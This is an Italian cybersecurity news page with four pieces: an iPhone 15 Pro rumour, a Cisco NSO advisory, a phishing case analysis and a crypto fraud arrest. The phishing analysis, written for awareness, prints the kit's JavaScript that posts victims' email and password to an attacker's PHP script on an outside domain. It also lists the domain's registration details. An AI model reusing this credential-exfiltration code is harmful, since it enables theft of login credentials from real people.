Sicurezza Informatica
iPhone 15 Pro nuovo microprocessore consentirà ai pulsanti a stato solido di funzionare quando il dispositivo è spento o senza batteria
Tempo di lettura: 2 minuti. Secondo una fonte che ha condiviso i dettagli sui forum di MacRumors, l’iPhone 15 Pro e il Pro Max utilizzeranno un nuovo microprocessore ultra a basso consumo che consentirà a determinate funzionalità, come i nuovi pulsanti a stato solido capacitivi, di rimanere attivi anche quando il telefono è spento o senza batteria.
Introduzione: Il prossimo modello di iPhone di Apple, l’iPhone 15 Pro, sta per essere lanciato sul mercato e sembra che ci siano alcune nuove funzionalità innovative che renderanno il dispositivo ancora più interessante per gli appassionati della tecnologia. Secondo una fonte affidabile, l’iPhone 15 Pro e il Pro Max includeranno un nuovo microprocessore ultra a basso consumo che consentirà ai pulsanti a stato solido capacitivi di funzionare anche quando il dispositivo è spento o senza batteria.
Il nuovo microprocessore sostituirà la modalità a basso consumo attuale di Apple
Secondo la fonte anonima, il nuovo microprocessore sostituirà la modalità a basso consumo attuale di Apple che consente di localizzare un iPhone tramite Find My dopo che è stato spento o per un massimo di 24 ore se la batteria è esaurita. Inoltre, consente di utilizzare la modalità Apple Pay Express fino a cinque ore dopo che la batteria si è esaurita. Il nuovo chip si occuperà di queste funzioni esistenti e anche di alimentare i pulsanti a stato solido, inclusi un pulsante “azione” che sostituirà l’interruttore di silenzio. Il microprocessore “rileverà immediatamente le pressioni, le tenute dei pulsanti capacitivi e persino rileverà la propria versione del 3D Touch con il nuovo pulsante di aumento/diminuzione del volume, il pulsante di azione e il pulsante di accensione, mentre il telefono è spento o spento”, ha dichiarato il suggeritore.
Test delle nuove funzionalità capacitivi a basso consumo
La fonte afferma inoltre che le nuove funzionalità capacitivi a basso consumo sono attualmente in fase di test con e senza feedback Taptic Engine mentre il telefono è spento, ma non quando la batteria è completamente esaurita. Tuttavia, “è altamente incerto se questo particolare arriverà in produzione, ma sta venendo testato”, ha aggiunto la fonte.
Funzionalità personalizzabili per i pulsanti del volume
La fonte afferma di aver visto due versioni funzionali del nuovo pulsante di volume unificato che consentono di regolare il volume più velocemente in base alla pressione o di regolare il volume scorrendo su e giù sul pulsante con un dito. Non si sa quale metodo verrà adottato per la versione finale, ma questi controlli possono essere personalizzati dall’utente tramite il software.
Esclusiva per i modelli iPhone 15 Pro
Come già emerso in precedenza, i pulsanti a stato solido capacitivi saranno disponibili esclusivamente per i modelli iPhone 15 Pro, mentre i modelli standard di iPhone 15 conserveranno il meccanismo tradizionale dei pulsanti. Inoltre, l’iPhone 15 Pro potrebbe avere un pulsante personalizzabile al posto dell’interruttore di silenzio e un pulsante di volume unificato o “rocker” al posto dei pulsanti di volume separati.
Sicurezza Informatica
Vulnerabilità privilegi in Cisco Crosswork Network Services Orchestrator
Tempo di lettura: < 1 minuto. Cisco rilascia aggiornamenti software per correggere una vulnerabilità di escalation dei privilegi nel Cisco Crosswork Network Services Orchestrator
Cisco ha rilasciato aggiornamenti software gratuiti che affrontano una vulnerabilità di escalation dei privilegi nel Cisco Crosswork Network Services Orchestrator (NSO). Questa vulnerabilità potrebbe consentire a un attaccante autenticato di eseguire comandi arbitrari con privilegi elevati su un sistema interessato.
Descrizione della Vulnerabilità
La vulnerabilità si trova nel modulo Tail-f HCC Function Pack di Cisco Crosswork NSO e riguarda versioni specifiche del software. Gli aggiornamenti software rilasciati correggono questa falla, prevenendo l’uso non autorizzato di comandi con privilegi elevati.
Versioni interessate e correzioni disponibili
Cisco consiglia agli utenti di aggiornare il software alle seguenti versioni fisse:
Release Cisco Crosswork NSO | Prima Release Fissa Tail-f HCC Function Pack |
---|---|
5.0 e versioni successive | 5.0.5 |
6.0 e versioni successive | 6.0.2 |
Aggiornamenti e Supporto
I clienti con contratti di servizio che includono aggiornamenti software regolari possono ottenere le correzioni di sicurezza attraverso i canali di aggiornamento consueti. I clienti devono assicurarsi che i dispositivi da aggiornare abbiano memoria sufficiente e che le configurazioni hardware e software attuali siano supportate dalla nuova release.
Clienti senza Contratti di Servizio
I clienti che acquistano direttamente da Cisco ma non dispongono di un contratto di servizio e quelli che acquistano tramite venditori terzi ma non riescono a ottenere il software corretto attraverso il loro punto vendita, devono contattare il Cisco TAC. È consigliato avere a disposizione il numero di serie del prodotto e fornire l’URL di questo avviso come prova del diritto a un aggiornamento gratuito.
Informazioni aggiuntive
Per ulteriori informazioni sulla vulnerabilità e le soluzioni di aggiornamento, è possibile consultare la pagina degli avvisi di sicurezza di Cisco.
Sicurezza Informatica
La tua password è scaduta: nuova ondata di attacchi phishing
Tempo di lettura: 4 minuti. Il phishing è una tecnica utilizzata dai criminali informatici per ottenere informazioni personali, come password, numeri di carte di credito e dati finanziari, fingendosi di essere entità affidabili.
Introduzione: Gli attacchi di phishing sono una minaccia sempre più diffusa nel mondo digitale. Con l’aumento dell’uso di Internet e delle comunicazioni via email, i cybercriminali trovano sempre nuovi modi per ingannare le persone e rubare informazioni sensibili. In questo articolo, esploreremo cos’è il phishing, come funziona e come puoi proteggerti da esso.
Cos’è il Phishing: Il phishing è una tecnica utilizzata dai criminali informatici per ottenere informazioni personali, come password, numeri di carte di credito e dati finanziari, fingendosi di essere entità affidabili. Questi truffatori inviano email o messaggi che sembrano provenire da aziende o istituzioni legittime, come banche, social network o siti di e-commerce, al fine di ingannare le vittime e convincerle a fornire le proprie informazioni.
Come Funziona il Phishing: Gli attacchi di phishing possono assumere diverse forme, ma generalmente seguono un processo simile:
- Email di Phishing: Il truffatore invia un’email che sembra provenire da un’azienda conosciuta, chiedendo alla vittima di fornire informazioni personali o di fare clic su un link fraudolento.
- Link Fraudolenti: Il messaggio di phishing contiene un link che porta a una pagina web contraffatta che sembra autentica. Questa pagina può chiedere di accedere al tuo account o di inserire informazioni sensibili.
- Raccolta di Dati: Una volta che la vittima fornisce le informazioni richieste, i truffatori le utilizzano per rubare denaro, identità o altre informazioni sensibili.
Un caso reale di attacco
Questo che segue è un esempio di email ricevuta in una mia casella di posta elettronica. Siccome sono il provider di me stesso è stato subito evidente che si trattasse di un tentativo di phishing:
Il messaggio è in inglese, ed è stato ricevuto da migliaia di utenti che sono stati avvisati del fatto che la loro password era scaduta e che se non si fosse seguito il link il loro account sarebbe stato sospeso.
Io ovviamente ho seguito il link, e la pagina che mi è comparsa è questa:
La prima cosa che possiamo notare è come viene generata una finta pagina di accesso alla email con il nome estratto dal dominio della vittima ed in alcuni casi anche l’icona presa dal sito.
Non è molto complicato generare una pagina del genere, tutte le informazioni sono contenute nell’indirizzo email del malcapitato.
Inserendo la propria password questa viene inviata al server dell’hacker ed archiviata.
Come hanno fatto a trovare la mia email?
Prima di procedere a questo attacco gli hacker fanno una scansione del web, cercando in tutti i siti, forum pubblici, profili social e raccolgono milioni di email.
Successivamente vengono inviate le email e si aspettano gli utenti che “abboccano”
Il sito che viene presentato ha questo indirizzo URL
La pagina è ospitata su un gateway IPFS di CloudFlare.
Cosa è un server IPFS?
Un IPFS gateway funge da intermediario tra la rete IPFS decentralizzata e il World Wide Web tradizionale, consentendo agli utenti di accedere ai contenuti IPFS tramite il web utilizzando URL standard. Ciò rende i contenuti IPFS accessibili a una più ampia base di utenti e facilita l’integrazione dei contenuti IPFS con le applicazioni web esistenti.
In pratica l’origine del contenuto non è facilmente rintracciabile perchè schermata dal gateway.
Analisi del codice della pagina di phishing
Analizzando il codice della pagina è possibile vedere dove vengono inviati i dati raccolti in maniera fraudolenta.
$.ajax({
dataType: 'JSON',
url: 'https://winnersolution.us/TWE/gen.php',
type: 'POST',
data:{
email:email,
password:password,
},
Questo è un pezzo di codice presente nello JavaScript della pagina. Senza scendere nel tecnico, il contenuto del form (la nostra email e la password che abbiamo inserita) viene trasmesso ad uno script ospitato sul dominio “winnsersolution.us” che è un dominio gratuito registrato sul provider NameCheap ed ovviamente non intestato a nessuno.
Admin Name: Ego Mbute
Admin Organization: fiko
Admin Street: 95485085 jfkkf ltd
Admin Street: 95485085 jfkkf ltd
Admin Street:
Admin City: New York
Admin State/Province: NY
Admin Postal Code: 10010
Admin Country: US
Admin Phone: +1.480480883
Admin Phone Ext:
Admin Fax: +1.9484894494
Admin Fax Ext:
Admin Email: ashley.treasurecn@gmail.com
Cosa abbiamo trovato nel server degli hacker?
Abbiamo trovato lo stesso script “gen.php” ripetuto diverse volte ed in diverse cartelle con date che vanno dal 13 al 15 maggio 2024, questo articolo è stato scritto il 16 maggio.
Questo hacker (non molto esperto) ha appena iniziato la sua attività di attacco, ed evidentemente dopo aver raccolto le email dei malcapitati lascerà scadere il dominio è l’hosting e passerà ad una nuova fase di attacco.
Abbiamo rintracciato il server che ha inviato l’email
Nei file log del server di posta elettronica siamo riusciti a trovare l’indirizzo del server che ha originato il messaggio fraudolento.
Il server ed il dominio ( jpcompaniesinc.com ) appartengono ad una azienda che molto probabilmente è stata hackerata in precedenza, e la loro casella di posta utilizzata per inviare altri messaggi.
Come Proteggerti dal Phishing: Proteggerti dagli attacchi di phishing è essenziale per mantenere al sicuro le tue informazioni. Ecco alcuni consigli utili:
- Verifica l’Autenticità: Controlla attentamente l’indirizzo email del mittente e verifica se corrisponde all’azienda o all’istituzione che dice di essere.
- Attenzione ai Link: Non fare clic su link sospetti presenti nelle email. Se devi accedere a un sito web, digita direttamente l’URL nella barra degli indirizzi del tuo browser.
- Non Condividere Informazioni Sensibili: Mai fornire password, numeri di carte di credito o altri dati sensibili tramite email, soprattutto se richiesto in modo non sollecitato.
- Utilizza Soluzioni di Sicurezza: Installa e aggiorna regolarmente un buon software antivirus e antimalware sul tuo computer e dispositivo mobile.
- Sii Consapevole: Sviluppa una consapevolezza delle pratiche di sicurezza online e educa te stesso e i tuoi dipendenti o familiari su come riconoscere e evitare gli attacchi di phishing.
Sicurezza Informatica
Autorità Canadesi arrestano il “Crypto King” per frode da 30 milioni
Tempo di lettura: < 1 minuto. Le Autorità canadesi arrestano il “Crypto King” per una frode da 30 di dollari ecco i dettagli dell’arresto e le implicazioni
Le autorità canadesi hanno arrestato il sedicente “Crypto King” con l’accusa di frode per un ammontare di 30 milioni di dollari. Questo caso evidenzia i rischi associati agli investimenti in criptovalute e l’importanza di una regolamentazione più rigorosa nel settore.
Dettagli dell’arresto
Il “Crypto King” è stato accusato di aver orchestrato uno schema di frode che ha portato alla perdita di 30 milioni di dollari da parte degli investitori. Le indagini hanno rivelato che il sospetto utilizzava tattiche ingannevoli per attrarre investitori, promettendo rendimenti elevati attraverso investimenti in criptovalute.
Indagini e collaborazioni
L’inchiesta è stata condotta con la collaborazione di diverse agenzie investigative canadesi. Queste indagini hanno incluso la raccolta di prove, l’analisi di transazioni finanziarie e l’interrogazione di testimoni. Le autorità hanno sottolineato l’importanza della cooperazione internazionale per combattere le frodi nel settore delle criptovalute.
Implicazioni per gli investitori
Questo caso mette in luce i pericoli delle frodi legate alle criptovalute e l’importanza di fare ricerche approfondite prima di investire. Gli esperti consigliano di essere cauti e di consultare consulenti finanziari qualificati prima di effettuare investimenti in ICO, IEO o altre opportunità di investimento in criptovalute.
Regolamentazione del Settore
L’arresto del “Crypto King” potrebbe accelerare gli sforzi per una regolamentazione più rigorosa del settore delle criptovalute in Canada e a livello globale. Le autorità stanno considerando misure per proteggere meglio gli investitori e prevenire future frodi. La frode da 30 milioni di dollari orchestrata dal “Crypto King” sottolinea la necessità di una maggiore vigilanza nel settore delle criptovalute. Gli investitori devono essere consapevoli dei rischi e fare ricerche approfondite prima di impegnare i loro fondi in questo mercato volatile.
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